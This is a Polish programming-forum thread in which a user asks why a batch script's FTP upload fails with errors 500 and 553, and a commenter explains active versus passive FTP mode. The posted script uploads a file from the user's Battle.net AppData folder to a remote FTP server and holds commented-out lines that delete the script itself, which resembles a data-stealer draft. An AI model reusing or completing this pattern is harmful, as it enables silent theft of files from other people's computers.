• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

Porblem z wysłaniem pliku na serwer ftp

Object Storage Arubacloud
0 głosów
108 wizyt
pytanie zadane 4 sierpnia 2021 w Hostingi, domeny, usługi przez persikk Obywatel (1,140 p.)
edycja 4 sierpnia 2021 przez persikk

Witam mam problem z przesłaniem pliku na serwer ftp. 

Korzystam z serwera ftp na stronie cba.pl

Mój plik .bat wygląda następująco

http://prntscr.com/1j58ntg

A obraz z konsoli wygląda tak

http://prntscr.com/1j59jnb

Ogólnie totalnie nie wiem umiem sobie poradzić z błędem 500 oraz 553.

Błąd 553 z tego co rozumiem wynika z tego że nie może znaleźć danego pliku, ale ten plik tam faktycznie jest.

Co do błędu 500 jest to jakiś błąd z połączeniem, przekopuje internet ale na razie nie mogę znaleźć rozwiązania, znalazłem coś że może to wynikać z tryby pasynwego/aktywnego ale wydaje mi się że serwer mi uniemożliwia przejście na tryb pasywny, bo przy próbie zmiany nic się nie zmienia.

http://prntscr.com/1j5bm90

 

EDIT:

Wyczytałem w sumie i wszystko wskazuje na to że muszę przeskoczyć na tryb pasywny żeby mi to działało.

Ale teraz dowiedziałem ze że ftp.exe nie obsługuje trybu pasywnego i muszę zmienić na serwerze na tryb pasywny aby to działało bo od strony klienta nie da rady. (Nie wiem czy dobrze to tłumaczę). 

 

komentarz 5 sierpnia 2021 przez Oscar Nałogowiec (29,320 p.)

Twoje przypuszczenia wydają się słuszne. FTP to taki dziwny protokół, który używa dwóch równoczesnych połączeń. W trybie aktywnym to drugie połączenie, do transmisji danych, wykonywane jest przez serwer, który musi połączeć się z klientem. Klient musi więc posiadać publiczne IP. W trybie pasywnym to klient łączy się jeszcze raz do serwera (jedno połączenie już ma). Normalnie przełaczenie odbywa się poleceniem passive, wydanym w kliencie. Połącz się ręcznie, użyj tego polecenia i zobacz, jakie dostaniesz komunikatu. Wrzuć wynik. Najlepiej nie jako screenshot (choć zrobiłeś na tyle dobrze, że można przeczytać) tylko użyj ikonki code - wtedy możesz wkleić tekst.

komentarz 5 sierpnia 2021 przez persikk Obywatel (1,140 p.)
edycja 5 sierpnia 2021 przez persikk
@echo off


set login_ftp=xxx
set haslo_ftp=xxx
set serwer_ftp=xxx
set sciezka_pliku="%userprofile%\AppData\Roaming\Battle.net\xd.txt"


echo %login_ftp%> adam.txt
echo %haslo_ftp%>> adam.txt

echo passive>> adam.txt  
echo PASV>> adam.txt
 
echo put %sciezka_pliku%>> adam.txt
echo close >> adam.txt
echo bye >> adam.txt
 
ftp.exe  -s:adam.txt %serwer_ftp%

REM del adam.txt
REM del %0
timeout 100
REM exit

Tutaj wrzucam kod pliku .bat

A niżej co wynikło w konsoli po dodaniu polecenia passive, próbowałem też z passiv bo chyba w takiej wersji znalazłem coś na jakimś forum, było też komenda chyba PASV która miała dać podobny efekt, za każdym razem otrzymuję komunikat "Nieprawidłowe polecenie"

 

Połączony z cba.pl.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 20 of 200 allowed.
220-Local time is now 18:05. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 10 minutes of inactivity.
Użytkownik (cba.pl:(none)):
331 User xxx OK. Password required

230-Your bandwidth usage is restricted
230-OK. Current restricted directory is /
230 Max allowed filesize is 1000000000 bytes
ftp> passive
Nieprawidłowe polecenie.
ftp> PASV
Nieprawidłowe polecenie.
ftp> put "C:\Users\pc\AppData\Roaming\Battle.net\xd.txt"
500 I won't open a connection to 192.xx.xx.xx (only to 91.xxx.xxx.xxx)
553 Can't open that file: No such file or directory
ftp> close
221-Goodbye. You uploaded 0 and downloaded 0 kbytes.
221 Logout.
ftp> bye

Oczekiwanie na  99 s, naciśnij klawisz, aby kontynuować...

 

Zaloguj lub zarejestruj się, aby odpowiedzieć na to pytanie.

Podobne pytania

0 głosów
2 odpowiedzi 611 wizyt
pytanie zadane 16 lipca 2015 w PHP przez jarek9244 Gaduła (3,430 p.)
0 głosów
1 odpowiedź 381 wizyt
0 głosów
1 odpowiedź 440 wizyt

92,576 zapytań

141,426 odpowiedzi

319,652 komentarzy

61,961 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Kolejna edycja największej imprezy hakerskiej w Polsce, czyli Mega Sekurak Hacking Party odbędzie się już 20 maja 2024r. Z tej okazji mamy dla Was kod: pasjamshp - jeżeli wpiszecie go w koszyku, to wówczas otrzymacie 40% zniżki na bilet w wersji standard!

Więcej informacji na temat imprezy znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...